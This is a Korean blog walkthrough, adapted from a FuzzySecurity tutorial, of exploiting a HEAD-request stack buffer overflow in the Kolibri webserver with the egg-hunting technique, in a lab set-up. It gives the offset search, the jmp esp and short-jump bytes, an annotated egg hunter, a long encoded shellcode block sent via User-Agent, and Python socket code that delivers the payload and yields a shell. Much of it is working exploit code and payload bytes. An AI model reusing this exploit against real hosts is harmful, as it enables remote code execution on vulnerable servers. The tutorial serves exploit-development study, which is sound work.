2017 . 8 . 20 . 23 : 30 
 본 포스팅 은 fuzzysecurity Tutorials part 4 -> Egg hunting 을 분석 및 의역 하 여 작성 하 였 습니다 . 
 간단 한 Webserver program 입니다 . port 8080 으로 설정 하 고 활성 화 시키 면 port 가 열린 것 을 알 수 있 습니다 . 
 간단 한 Request Method 를 작성 해 보냈 더니 kolibri webserver 상태 창 에 보낸 data 가 나오 는 것 을 알 수 있 습니다 . 
 Kolibri Webserver 의 취약점 은 request method 에서 HEAD 인자 로 보내 주 는 data 가 BOF 를 일으킬 수 있 는 것 입니다 . 
 그렇 다면 내 가 보낸 data 들 중 HEAD 인 자 의 data 는 stack 에 쌓인다는 것 을 유추 할 수 있 습니다 . 
 HEAD 에 “ AAAA … ” 를 넣 어 실행 결과 를 봤 더니 EIP 가 0 x 41414141 로 바뀌 어 있 는 것 을 알 수 있 습니다 . 
 pattern 을 생성 해서 exploit code 에 넣 어 보 겠 습니다 . 
 root @ kali : / usr / share / metasploit - framework / tools / exploit # . / pattern _ create . rb 1000 
 SEH chain 상태 가 바뀌 어 있 는 것 을 알 수 있 습니다 . handler 함수 의 주소 를 살펴보 면 0 x 74413574 로 나타나 있 습니다 . 해당 offset 으로 맞추 고 진행 하 였으나 handler 방향 으로 빠지 지 않 고 계속 다른 쪽 으로 code 가 진행 되 었 습니다 . 
 일단 return address 를 덮 는 방향 으로 만 진행 할 것 입니다 . 
 jmp esp code 를 먼저 찾아내 고 EIP 에 덮 어 breakpoint 를 건 후 실행 합니다 . 
 breakpoint 가 걸린 상태 에서 esp 의 위치 는 붉 은 줄 이 쳐져 있 는 부분 입니다 . 그 뒤 에 는 보내 주 는 data 가 담기 게 됩니다 . 
 지금 있 는 esp 위치 에 jmp short ( address ) code 를 넣 어 줍니다 . 
 어림잡 아 - 160 bytes 를 옮긴다 하 면 \ xeb \ x 60 이 라는 어셈블리 가 나옵니다 . 이 code 를 exploit 에 포함 시키 고 실행 합니다 . 
 보내 준 " AAA . .." data 를 어셈블리 처럼 읽 어 실행 하 는 것 을 볼 수 있 습니다 . 여기 에다 shellcode 를 넣 으면 정상 적 으로 shellcode 가 실행 될 것 입니다 . 
 그런데 한 가지 문제 가 있 습니다 . shellcode 를 넣 기 에 는 buffer 의 size 가 많이 부족 합니다 . 
 linux exploit 중 특정 buffer 에 shellcode 를 넣 을 만 한 크기 가 나오 지 않 는다면 이 를 환경 변수 나 다른 memory 에 등록 하 고 사용 하 는 방법 이 있 습니다 . 
 Windows 에서 도 마찬가지 로 shellcode 앞부분 에 tag 를 붙여 놓 고 실행 code 에서 tag 를 찾아내 실행 시키 는 방법 이 있 습니다 . 그렇 다면 tag + shellcode 를 다른 큰 공간 에 넣 어 두 고 size 가 작 은 실행 시킬 수 있 는 공간 에 tag finder code 를 넣 어 shellcode 를 넣 어 실행 시키 면 됩니다 . 
 이 를 Egg hunting 기법 이 라고 합니다 . 
 다음 은 Egg hunting code 의 실행 방식 입니다 . 
 6681 CAFF 0 F or dx , 0 x 0 fff 페이지 에 있 는 마지막 주소 를 가져옴 
 52 push edx 스택 에 edx 값 을 삽입 ( 현재 주소 저장 ) 
 6 A 43 push byte + 0 x 2 N tAccessCheckAndAuditAlarm 을 위해 0 x 2 삽 입 / NtDisplayString 을 위해 0 x 43 삽 입 
 58 pop eax 0 x 2 / 0 x 43 값 을 eax 로 가져옴 이 를 이용 해 eax 가 시스템 콜 의 인자 로 사용 됨 
 CD 2 E int 0 x 2 e 커널 에게 인자 로 사용 되 는 레지스터 ( eax ) 를 이용 해 시스템 콜 을 호출 할 것 을 알림 
 5 A pop edx edx 값 복구 
 74 EF je xxxx dx 0 x 0 fffff 시작 으로 다시 점프 
 B 890509050 mov eax , 0 x 50905090 에그 헌터 의 태그 부분 
 8 BFA mov edi , edx edi 레지스터 를 포인터 로 세트 
 AF scasd 상태 비교 
 75 EA jnz xxxx ( int edx 주소 로 돌아감 ) 에 그 발견 여부 체크 
 AF scasd 상태 비교 ( 에 그 가 발견 되 면 ) 
 75 E 7 jnz xxxx ( int edx 주소 로 돌아감 ) 첫 번 째 에 그 가 발견 되 면 
 FFE 7 jmp edi edi 는 진짜 쉘 코드 의 시작 부분 을 가리킴 
 Immunity debugger 에서 tag 를 넣 어 code 를 생성 할 수 있 습니다 . 다음 은 ! mona egg - t b 33 f 라는 명령어 를 넣 어 tag 가 b 33 f 인 egg hunting code 를 만들 었 습니다 . 
 User - Agent 에 tag 를 붙인 shellcode 를 넣 고 실행 시켰 습니다 . 
 "\ x 79 \ x 6 c \ x 48 \ x 68 \ x 4 e \ x 62 \ x 65 \ x 50 \ x 47 \ x 70 \ x 47 \ x 70 \ x 55 \ x 30 \ x 6 d " 
 "\ x 59 \ x 79 \ x 75 \ x 56 \ x 51 \ x 49 \ x 50 \ x 52 \ x 44 \ x 4 c \ x 4 b \ x 70 \ x 50 \ x 64 \ x 70 " 
 "\ x 6 c \ x 4 b \ x 36 \ x 32 \ x 66 \ x 6 c \ x 4 c \ x 4 b \ x 72 \ x 72 \ x 75 \ x 44 \ x 4 e \ x 6 b \ x 52 " 
 "\ x 52 \ x 67 \ x 58 \ x 36 \ x 6 f \ x 48 \ x 37 \ x 42 \ x 6 a \ x 65 \ x 76 \ x 35 \ x 61 \ x 39 \ x 6 f " 
 "\ x 6 c \ x 6 c \ x 55 \ x 6 c \ x 43 \ x 51 \ x 53 \ x 4 c \ x 35 \ x 52 \ x 56 \ x 4 c \ x 51 \ x 30 \ x 4 b " 
 "\ x 71 \ x 5 a \ x 6 f \ x 66 \ x 6 d \ x 35 \ x 51 \ x 4 b \ x 77 \ x 4 a \ x 42 \ x 79 \ x 62 \ x 61 \ x 42 " 
 "\ x 73 \ x 67 \ x 6 e \ x 6 b \ x 33 \ x 62 \ x 46 \ x 70 \ x 6 e \ x 6 b \ x 61 \ x 5 a \ x 35 \ x 6 c \ x 4 c " 
 "\ x 4 b \ x 30 \ x 4 c \ x 66 \ x 71 \ x 74 \ x 38 \ x 68 \ x 63 \ x 73 \ x 78 \ x 46 \ x 61 \ x 58 \ x 51 " 
 "\ x 32 \ x 71 \ x 4 c \ x 4 b \ x 62 \ x 79 \ x 77 \ x 50 \ x 76 \ x 61 \ x 68 \ x 53 \ x 6 e \ x 6 b \ x 72 " 
 "\ x 69 \ x 44 \ x 58 \ x 58 \ x 63 \ x 65 \ x 6 a \ x 31 \ x 59 \ x 6 e \ x 6 b \ x 45 \ x 64 \ x 6 e \ x 6 b " 
 "\ x 76 \ x 61 \ x 7 a \ x 76 \ x 75 \ x 61 \ x 4 b \ x 4 f \ x 6 c \ x 6 c \ x 4 a \ x 61 \ x 4 a \ x 6 f \ x 74 " 
 "\ x 4 d \ x 55 \ x 51 \ x 4 f \ x 37 \ x 77 \ x 48 \ x 39 \ x 70 \ x 42 \ x 55 \ x 6 b \ x 46 \ x 56 \ x 63 " 
 "\ x 31 \ x 6 d \ x 68 \ x 78 \ x 47 \ x 4 b \ x 31 \ x 6 d \ x 67 \ x 54 \ x 62 \ x 55 \ x 78 \ x 64 \ x 31 " 
 "\ x 48 \ x 6 e \ x 6 b \ x 61 \ x 48 \ x 51 \ x 34 \ x 63 \ x 31 \ x 4 b \ x 63 \ x 33 \ x 56 \ x 6 e \ x 6 b " 
 "\ x 36 \ x 6 c \ x 42 \ x 6 b \ x 6 e \ x 6 b \ x 62 \ x 78 \ x 55 \ x 4 c \ x 53 \ x 31 \ x 39 \ x 43 \ x 4 c " 
 "\ x 4 b \ x 36 \ x 64 \ x 4 c \ x 4 b \ x 63 \ x 31 \ x 68 \ x 50 \ x 6 e \ x 69 \ x 67 \ x 34 \ x 56 \ x 44 " 
 "\ x 51 \ x 34 \ x 33 \ x 6 b \ x 63 \ x 6 b \ x 75 \ x 31 \ x 52 \ x 79 \ x 33 \ x 6 a \ x 42 \ x 71 \ x 49 " 
 "\ x 6 f \ x 4 b \ x 50 \ x 73 \ x 6 f \ x 51 \ x 4 f \ x 62 \ x 7 a \ x 4 c \ x 4 b \ x 55 \ x 42 \ x 58 \ x 6 b " 
 "\ x 4 e \ x 6 d \ x 33 \ x 6 d \ x 42 \ x 48 \ x 47 \ x 43 \ x 35 \ x 62 \ x 75 \ x 50 \ x 67 \ x 70 \ x 63 " 
 "\ x 58 \ x 33 \ x 47 \ x 51 \ x 63 \ x 75 \ x 62 \ x 63 \ x 6 f \ x 76 \ x 34 \ x 61 \ x 78 \ x 50 \ x 4 c " 
 "\ x 42 \ x 57 \ x 76 \ x 46 \ x 76 \ x 67 \ x 59 \ x 6 f \ x 7 a \ x 75 \ x 4 c \ x 78 \ x 6 e \ x 70 \ x 77 " 
 "\ x 71 \ x 35 \ x 50 \ x 57 \ x 70 \ x 35 \ x 79 \ x 7 a \ x 64 \ x 33 \ x 64 \ x 62 \ x 70 \ x 30 \ x 68 " 
 "\ x 36 \ x 49 \ x 6 f \ x 70 \ x 52 \ x 4 b \ x 53 \ x 30 \ x 69 \ x 6 f \ x 6 a \ x 75 \ x 33 \ x 5 a \ x 74 " 
 "\ x 48 \ x 36 \ x 39 \ x 42 \ x 70 \ x 6 d \ x 32 \ x 69 \ x 6 d \ x 71 \ x 50 \ x 72 \ x 70 \ x 77 \ x 30 " 
 "\ x 52 \ x 70 \ x 50 \ x 68 \ x 39 \ x 7 a \ x 56 \ x 6 f \ x 4 b \ x 6 f \ x 6 b \ x 50 \ x 39 \ x 6 f \ x 4 b " 
 "\ x 65 \ x 4 f \ x 67 \ x 75 \ x 38 \ x 57 \ x 72 \ x 43 \ x 30 \ x 46 \ x 47 \ x 34 \ x 4 f \ x 6 e \ x 69 " 
 "\ x 69 \ x 76 \ x 70 \ x 6 a \ x 54 \ x 50 \ x 51 \ x 46 \ x 30 \ x 57 \ x 42 \ x 48 \ x 69 \ x 52 \ x 59 " 
 "\ x 4 b \ x 77 \ x 47 \ x 75 \ x 37 \ x 59 \ x 6 f \ x 6 a \ x 75 \ x 43 \ x 67 \ x 45 \ x 38 \ x 4 e \ x 57 " 
 "\ x 69 \ x 79 \ x 56 \ x 58 \ x 59 \ x 6 f \ x 59 \ x 6 f \ x 79 \ x 45 \ x 66 \ x 37 \ x 65 \ x 38 \ x 33 " 
 "\ x 44 \ x 68 \ x 6 c \ x 37 \ x 4 b \ x 39 \ x 71 \ x 6 b \ x 4 f \ x 4 a \ x 75 \ x 61 \ x 47 \ x 4 d \ x 47 " 
 "\ x 35 \ x 38 \ x 72 \ x 55 \ x 70 \ x 6 e \ x 32 \ x 6 d \ x 50 \ x 61 \ x 69 \ x 6 f \ x 49 \ x 45 \ x 42 " 
 "\ x 48 \ x 30 \ x 63 \ x 30 \ x 6 d \ x 30 \ x 64 \ x 65 \ x 50 \ x 6 b \ x 39 \ x 6 d \ x 33 \ x 66 \ x 37 " 
 "\ x 52 \ x 77 \ x 72 \ x 77 \ x 66 \ x 51 \ x 58 \ x 76 \ x 62 \ x 4 a \ x 65 \ x 42 \ x 63 \ x 69 \ x 43 " 
 "\ x 66 \ x 58 \ x 62 \ x 59 \ x 6 d \ x 63 \ x 56 \ x 6 b \ x 77 \ x 67 \ x 34 \ x 67 \ x 54 \ x 47 \ x 4 c " 
 "\ x 65 \ x 51 \ x 33 \ x 31 \ x 4 c \ x 4 d \ x 42 \ x 64 \ x 71 \ x 34 \ x 64 \ x 50 \ x 6 f \ x 36 \ x 45 " 
 "\ x 50 \ x 57 \ x 34 \ x 71 \ x 44 \ x 52 \ x 70 \ x 52 \ x 76 \ x 73 \ x 66 \ x 52 \ x 76 \ x 61 \ x 56 " 
 "\ x 56 \ x 36 \ x 32 \ x 6 e \ x 63 \ x 66 \ x 52 \ x 76 \ x 32 \ x 73 \ x 66 \ x 36 \ x 75 \ x 38 \ x 61 " 
 "\ x 69 \ x 38 \ x 4 c \ x 67 \ x 4 f \ x 4 c \ x 46 \ x 39 \ x 6 f \ x 79 \ x 45 \ x 6 d \ x 59 \ x 6 b \ x 50 " 
 "\ x 32 \ x 6 e \ x 43 \ x 66 \ x 70 \ x 46 \ x 39 \ x 6 f \ x 56 \ x 50 \ x 65 \ x 38 \ x 47 \ x 78 \ x 4 b " 
 "\ x 37 \ x 57 \ x 6 d \ x 73 \ x 50 \ x 59 \ x 6 f \ x 6 e \ x 35 \ x 6 d \ x 6 b \ x 6 a \ x 50 \ x 68 \ x 35 " 
 "\ x 49 \ x 32 \ x 73 \ x 66 \ x 43 \ x 58 \ x 6 d \ x 76 \ x 6 c \ x 55 \ x 4 f \ x 4 d \ x 4 f \ x 6 d \ x 39 " 
 "\ x 6 f \ x 59 \ x 45 \ x 45 \ x 6 c \ x 47 \ x 76 \ x 51 \ x 6 c \ x 55 \ x 5 a \ x 4 f \ x 70 \ x 69 \ x 6 b " 
 "\ x 79 \ x 70 \ x 54 \ x 35 \ x 37 \ x 75 \ x 6 d \ x 6 b \ x 37 \ x 37 \ x 75 \ x 43 \ x 44 \ x 32 \ x 52 " 
 "\ x 4 f \ x 53 \ x 5 a \ x 77 \ x 70 \ x 36 \ x 33 \ x 59 \ x 6 f \ x 49 \ x 45 \ x 41 \ x 41 ") 
 " Host : 192 . 168 . 236 . 128 : 8080 \ r \ n " 
 proc . connect ( ( " 192 . 168 . 236 . 128 ", 8080 ) ) 
 proc . send ( buf ) 
 실행 시키 면 다음 과 같이 log 창 이 뜨 게 됩니다 . 
 그리고 내 로컬 환경 에서 shell 을 실행 시킬 수 있 습니다 .